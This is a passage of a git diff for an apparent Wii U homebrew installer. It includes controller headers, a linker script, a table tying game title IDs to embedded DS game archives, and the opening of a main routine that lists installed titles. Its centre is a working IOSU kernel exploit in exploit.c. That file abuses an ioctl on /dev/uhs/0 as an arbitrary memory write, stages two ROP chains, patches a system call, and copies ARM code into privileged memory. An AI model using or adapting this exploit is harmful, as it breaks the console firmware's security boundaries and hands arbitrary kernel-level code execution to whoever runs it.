VPAD_BUTTON_ZL 0x0080 +#define VPAD_BUTTON_ZR 0x0040 +#define VPAD_BUTTON_L 0x0020 +#define VPAD_BUTTON_R 0x0010 +#define VPAD_BUTTON_PLUS 0x0008 +#define VPAD_BUTTON_MINUS 0x0004 +#define VPAD_BUTTON_HOME 0x0002 +#define VPAD_BUTTON_SYNC 0x0001 +#define VPAD_BUTTON_STICK_R 0x00020000 +#define VPAD_BUTTON_STICK_L 0x00040000 +#define VPAD_BUTTON_TV 0x00010000 + +#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 +#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 +#define VPAD_STICK_R_EMULATION_UP 0x01000000 +#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 + +#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 +#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 +#define VPAD_STICK_L_EMULATION_UP 0x10000000 +#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 + +//! Own definitions +#define VPAD_BUTTON_TOUCH 0x00080000 +#define VPAD_MASK_EMULATED_STICKS 0x7F800000 +#define VPAD_MASK_BUTTONS ~VPAD_MASK_EMULATED_STICKS + +typedef struct +{ + f32 x,y; +} Vec2D; + +typedef struct +{ + u16 x, y; /* Touch coordinates */ + u16 touched; /* 1 = Touched, 0 = Not touched */ + u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ +} VPADTPData; + +typedef struct +{ + u32 btns_h; /* Held buttons */ + u32 btns_d; /* Buttons that are pressed at that instant */ + u32 btns_r; /* Released buttons */ + Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ + char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ + VPADTPData tpdata; /* Normal touchscreen data */ + VPADTPData tpdata1; /* Modified touchscreen data 1 */ + VPADTPData tpdata2; /* Modified touchscreen data 2 */ + char unknown6a[0xa0 - 0x6a]; + uint8_t volume; + uint8_t battery; /* 0 to 6 */ + uint8_t unk_volume; /* One less than volume */ + char unknowna4[0xac - 0xa4]; +} VPADData; + +void InitVPadFunctionPointers(void); +void InitAcquireVPad(void); + +extern int (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); +extern int (* VPADGetLcdMode)(int padnum, int *lcdmode); +extern int (* VPADSetLcdMode)(int padnum, int lcdmode); +extern void (* VPADInit)(void); +extern int (* VPADBASEGetMotorOnRemainingCount)(int lcdmode); +extern int (* VPADBASESetMotorOnRemainingCount)(int lcdmode,int counter); + +#ifdef __cplusplus +} +#endif + +#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/entry.c b/installer/src/entry.c new file mode 100644 index 0000000..94cbae2 --- /dev/null +++ b/installer/src/entry.c @@ -0,0 +1,13 @@ +#include +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "common/common.h" +#include "main.h" + +int __entry_menu(int argc, char **argv) +{ + //! ******************************************************************* + //! * Jump to our application * + //! ******************************************************************* + return Menu_Main(); +} diff --git a/installer/src/exploit.c b/installer/src/exploit.c new file mode 100644 index 0000000..e600b9e --- /dev/null +++ b/installer/src/exploit.c @@ -0,0 +1,349 @@ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "exploit.h" + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE 0x01E20000 +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08134100 +#define REPLACE_SYSCALL 0x081298BC + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "arm_kernel_bin.h" +#include "arm_user_bin.h" + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(arm_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x01E40000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x01E30000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static int dev_uhs_0_handle = -1; +void IOSUExploit() +{ + dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node + uhs_exploit_init(); //! Init variables for the exploit + + //!------ROP CHAIN------- + + uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(CHAIN_START + 0x10, 0x1011814C); + uhs_write32(CHAIN_START + 0xC, SOURCE); + + uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); +} + +void uhs_exploit_init() +{ + //! Clear out our used MEM1 area + memset((void*)0xF5E00000, 0, 0x00070000); + DCStoreRange((void*)0xF5E00000, 0x00070000); + + //!------Variables used in exploit------ + int *pretend_root_hub = (int*)0xF5E60640; + int *ayylmao = (int*)0xF5E00000; + //!------------------------------------- + + ayylmao[5] = 1; + ayylmao[8] = 0x1E00000; + + memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); + memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); + + pretend_root_hub[33] = 0x1E00000; + pretend_root_hub[78] = 0; + + //! Store current CPU cache into main memory for IOSU to read + DCStoreRange(ayylmao, 0x840); + + DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); + DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); + DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); + DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); + + DCStoreRange(pretend_root_hub, 0x160); +} + +int uhs_write32(int arm_addr, int val) +{ + //!------Variables used in exploit------ + int *ayylmao = (int*)0xF5E00000; + //!------------------------------------- + + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read + OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU + //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, + //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 + int request_buffer[] = { -(0xB349B), val }; + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} diff --git a/installer/src/exploit.h b/installer/src/exploit.h new file mode 100644 index 0000000..f067635 --- /dev/null +++ b/installer/src/exploit.h @@ -0,0 +1,9 @@ + +#ifndef _EXPLOIT_H_ +#define _EXPLOIT_H_ + +void IOSUExploit(); +void uhs_exploit_init(void); +int uhs_write32(int, int); + +#endif diff --git a/installer/src/gameList.h b/installer/src/gameList.h new file mode 100644 index 0000000..6a6e802 --- /dev/null +++ b/installer/src/gameList.h @@ -0,0 +1,86 @@ + +#ifndef _GAMELIST_H_ +#define _GAMELIST_H_ + +#include "zipList.h" + +typedef struct _gList_t { + uint32_t tid; + char name[64]; + u8 *romPtr; + u32 *romSizePtr; +} gList_t; + +gList_t GameList[] = { + { 0x10179A00, "Brain Age [JPN]", brainage_zip, &brainage_zip_size }, + { 0x10179B00, "Brain Age [USA]", brainage_zip, &brainage_zip_size }, + { 0x10179C00, "Brain Training [PAL]", brainage_zip, &brainage_zip_size }, + + { 0x10179D00, "Yoshi Touch & Go [JPN]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, + { 0x10179E00, "Yoshi Touch & Go [USA]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, + { 0x10179F00, "Yoshi Touch & Go [PAL]", yoshitouchandgo_zip, &yoshitouchandgo_zip_size }, + + { 0x10195600, "Mario Kart DS [JPN]", mariokartds_zip, &mariokartds_zip_size }, + { 0x10195700, "Mario Kart DS [USA]", mariokartds_zip, &mariokartds_zip_size }, + { 0x10195800, "Mario Kart DS [PAL]", mariokartds_zip, &mariokartds_zip_size }, + + { 0x10195900, "New Super Mario Bros. [JPN]", newsmb_zip, &newsmb_zip_size }, + { 0x10195A00, "New Super Mario Bros. [USA]", newsmb_zip, &newsmb_zip_size }, + { 0x10195B00, "New Super Mario Bros. [PAL]", newsmb_eur_zip, &newsmb_eur_zip_size }, + + { 0x10198800, "Yoshi's Island DS [JPN]", yoshids_zip, &yoshids_zip_size }, + { 0x10198900, "Yoshi's Island DS [USA]", yoshids_zip, &yoshids_zip_size }, + { 0x10198A00, "Yoshi's Island DS [PAL]", yoshids_zip, &yoshids_zip_size }, + + { 0x10198B00, "Big Brain Academy [JPN]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, + { 0x10198C00, "Big Brain Academy [USA]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, + { 0x10198D00, "Big Brain Academy [PAL]", bigbrainacademy_zip, &bigbrainacademy_zip_size }, + + { 0x101A1E00, "WarioWare: Touched [JPN]", wwtouched_zip, &wwtouched_zip_size }, + { 0x101A1F00, "WarioWare: Touched [USA]", wwtouched_zip, &wwtouched_zip_size }, + { 0x101A2000, "WarioWare: Touched [PAL]", wwtouched_zip, &wwtouched_zip_size }, + + { 0x101A2100, "Mario and Luigi: Partners in Time [JPN]", partnersintime_zip, &partnersintime_zip_size }, + { 0x101A2200, "Mario and Luigi: Partners in Time [USA]", partnersintime_zip, &partnersintime_zip_size }, + { 0x101A2300, "Mario and Luigi: Partners in Time [PAL]", partnersintime_zip, &partnersintime_zip_size }, + + { 0x101A5200, "DK Jungle Climber [JPN]", dkjclimber_zip, &dkjclimber_zip_size }, + { 0x101A5300, "DK Jungle Climber [USA]", dkjclimber_zip, &dkjclimber_zip_size }, + { 0x101A5400, "DK Jungle Climber [PAL]", dkjclimber_zip, &dkjclimber_zip_size }, + + { 0x101A5500, "Kirby Squeak Squad [JPN]", kirby_zip, &kirby_zip_size }, + { 0x101A5600, "Kirby Squeak Squad [USA]", kirby_zip, &kirby_zip_size }, + { 0x101A5700, "Kirby Mouse Attack [PAL]", kirby_zip, &kirby_zip_size }, + + { 0x101ABD00, "Wario Master of Disguise [JPN]", masterofdisguise_zip, &masterofdisguise_zip_size }, + { 0x101ABE00, "Wario Master of Disguise [USA]", masterofdisguise_zip, &masterofdisguise_zip_size }, + { 0x101ABF00, "Wario Master of Disguise [PAL]", masterofdisguise_zip, &masterofdisguise_zip_size }, + + { 0x101AC000, "Star Fox Command [JPN]", sfcommand_zip, &sfcommand_zip_size }, + { 0x101AC100, "Star Fox Command [USA]", sfcommand_zip, &sfcommand_zip_size }, + { 0x101AC200, "Star Fox Command [PAL]", sfcommand_zip, &sfcommand_zip_size }, + + { 0x101B8800, "Kirby Canvas Curse [JPN]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, + { 0x101B8900, "Kirby Canvas Curse [USA]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, + { 0x101B8A00, "Kirby Power Paintbrush [PAL]", kirbycanvascurse_zip, &kirbycanvascurse_zip_size }, + + { 0x101B8B00, "Zelda Spirit Tracks [JPN]", zeldast_zip, &zeldast_zip_size }, + { 0x101B8C00, "Zelda Spirit Tracks [USA]", zeldast_zip, &zeldast_zip_size }, + { 0x101B8D00, "Zelda Spirit Tracks [PAL]", zeldast_zip, &zeldast_zip_size }, + + { 0x101C3300, "Super Mario 64 DS [JPN]", sm64ds_zip, &sm64ds_zip_size }, + { 0x101C3400, "Super Mario 64 DS [USA]", sm64ds_zip, &sm64ds_zip_size }, + { 0x101C3500, "Super Mario 64 DS [PAL]", sm64ds_zip, &sm64ds_zip_size }, + + { 0x101C3600, "Zelda Phantom Hourglass [JPN]", zeldaph_zip, &zeldaph_zip_size }, + { 0x101C3700, "Zelda Phantom Hourglass [USA]", zeldaph_zip, &zeldaph_zip_size }, + { 0x101C3800, "Zelda Phantom Hourglass [PAL]", zeldaph_zip, &zeldaph_zip_size }, + + { 0x101C8600, "Kirby Mass Attack [JPN]", kirbymassattack_zip, &kirbymassattack_zip_size }, + { 0x101C8700, "Kirby Mass Attack [USA]", kirbymassattack_zip, &kirbymassattack_zip_size }, + { 0x101C8800, "Kirby Mass Attack [PAL]", kirbymassattack_zip, &kirbymassattack_zip_size }, +}; + +static const int GameListSize = sizeof(GameList) / sizeof(gList_t); + +#endif diff --git a/installer/src/link.ld b/installer/src/link.ld new file mode 100644 index 0000000..fc569d1 --- /dev/null +++ b/installer/src/link.ld @@ -0,0 +1,40 @@ +OUTPUT(ftpiiu.elf); + +/* Tell linker where our application entry is so the garbage collect can work correct */ +ENTRY(__entry_menu); + +SECTIONS { + . = 0x00802000; + .text : { + *(.text*); + } + .rodata : { + *(.rodata*); + } + .data : { + *(.data*); + + __sdata_start = .; + *(.sdata*); + __sdata_end = .; + + __sdata2_start = .; + *(.sdata2*); + __sdata2_end = .; + } + .bss : { + __bss_start = .; + *(.bss*); + *(.sbss*); + *(COMMON); + __bss_end = .; + } + __CODE_END = .; + + /DISCARD/ : { + *(*); + } +} + +/******************************************************** FS ********************************************************/ +/* coreinit.rpl difference in addresses 0xFE3C00 */ diff --git a/installer/src/main.c b/installer/src/main.c new file mode 100644 index 0000000..c6df6d7 --- /dev/null +++ b/installer/src/main.c @@ -0,0 +1,561 @@ +/* + * Copyright (C) 2016 FIX94 + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ +#include +#include +#include +#include +#include +#include +#include +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/gx2_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "dynamic_libs/vpad_functions.h" +#include "system/memory.h" +#include "common/common.h" +#include "main.h" +#include "exploit.h" +#include "iosuhax.h" +#include "gameList.h" + +static const char *sdCardVolPath = "/vol/storage_sdcard"; + +//just to be able to call async +void someFunc(void *arg) +{ + (void)arg; +} + +static int mcp_hook_fd = -1; +int MCPHookOpen() +{ + //take over mcp thread + mcp_hook_fd = MCP_Open(); + if(mcp_hook_fd < 0) + return -1; + IOS_IoctlAsync(mcp_hook_fd, 0x62, (void*)0, 0, (void*)0, 0, someFunc, (void*)0); + //let wupserver start up + sleep(1); + if(IOSUHAX_Open() < 0) + return -1; + return 0; +} + +void MCPHookClose() +{ + if(mcp_hook_fd < 0) + return; + //close down wupserver, return control to mcp + IOSUHAX_Close(); + //wait for mcp to return + sleep(1); + MCP_Close(mcp_hook_fd); + mcp_hook_fd = -1; +} + +void println_noflip(int line, const char *msg) +{ + OSScreenPutFontEx(0,0,line,msg); + OSScreenPutFontEx(1,0,line,msg); +} + +void println(int line, const char *msg) +{ + int i; + for(i = 0; i < 2; i++) + { //double-buffered font write + println_noflip(line,msg); + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); + } +} + +typedef struct _parsedList_t { + uint32_t tid; + char name[64]; + char path[64]; + u8 *romPtr; + u32 romSize; +} parsedList_t; + +int fsa_read(int fsa_fd, int fd, void *buf, int len) +{ + int done = 0; + uint8_t *buf_u8 = (uint8_t*)buf; + while(done < len) + { + size_t read_size = len - done; + int result = IOSUHAX_FSA_ReadFile(fsa_fd, buf_u8 + done, 0x01, read_size, fd, 0); + if(result < 0) + return result; + else + done += result; + } + return done; +} + +int fsa_write(int fsa_fd, int fd, void *buf, int len) +{ + int done = 0; + uint8_t *buf_u8 = (uint8_t*)buf; + while(done < len) + { + size_t write_size = len - done; + int result = IOSUHAX_FSA_WriteFile(fsa_fd, buf_u8 + done, 0x01, write_size, fd, 0); + if(result < 0) + return result; + else + done += result; + } + return done; +} + +int Menu_Main(void) +{ + InitOSFunctionPointers(); + InitSysFunctionPointers(); + InitVPadFunctionPointers(); + VPADInit(); + + // Init screen + OSScreenInit(); + int screen_buf0_size = OSScreenGetBufferSizeEx(0); + int screen_buf1_size = OSScreenGetBufferSizeEx(1); + uint8_t *screenBuffer = memalign(0x100, screen_buf0_size+screen_buf1_size); + OSScreenSetBufferEx(0, screenBuffer); + OSScreenSetBufferEx(1, (screenBuffer + screen_buf0_size)); + OSScreenEnableEx(0, 1); + OSScreenEnableEx(1, 1); + OSScreenClearBufferEx(0, 0); + OSScreenClearBufferEx(1, 0); + + int mcp_handle = MCP_Open(); + int count = MCP_TitleCount(mcp_handle); + int listSize = count*0x61; + char *tList = memalign(32, listSize); + memset(tList, 0, listSize); + int recievedCount = count; + MCP_TitleList(mcp_handle, &recievedCount, tList, listSize); + MCP_Close(mcp_handle); + + int gAvailCnt = 0; + parsedList_t *gAvail = (parsedList_t*)malloc(recievedCount*sizeof(parsedList_t)); + memset(gAvail, 0, recievedCount*sizeof(parsedList_t)); + + int i, j; + for(i = 0; i < recievedCount; i++) + { + char *cListElm = tList+(i*0x61); + if(memcmp(cListElm+0x56,"mlc",4) != 0 || *(uint32_t*)(cListElm) != 0x00050000) + continue; + for(j = 0; j < GameListSize; j++) + { + if(*(uint32_t*)(cListElm+4) == GameList[j].tid) + { + gAvail[gAvailCnt].tid = GameList[j].tid; + memcpy(gAvail[gAvailCnt].name, GameList[j].name, 64); + memcpy(gAvail[gAvailCnt].path, cListElm+0xC, 64); + gAvail[gAvailCnt].romPtr = GameList[j].romPtr; + gAvail[gAvailCnt].romSize = *(GameList[j].romSizePtr); + gAvailCnt++; + break; + } + } + } + + int vpadError = -1; + VPADData vpad; + + u32 redraw = 1; + s32 PosX = 0; + s32 ScrollX = 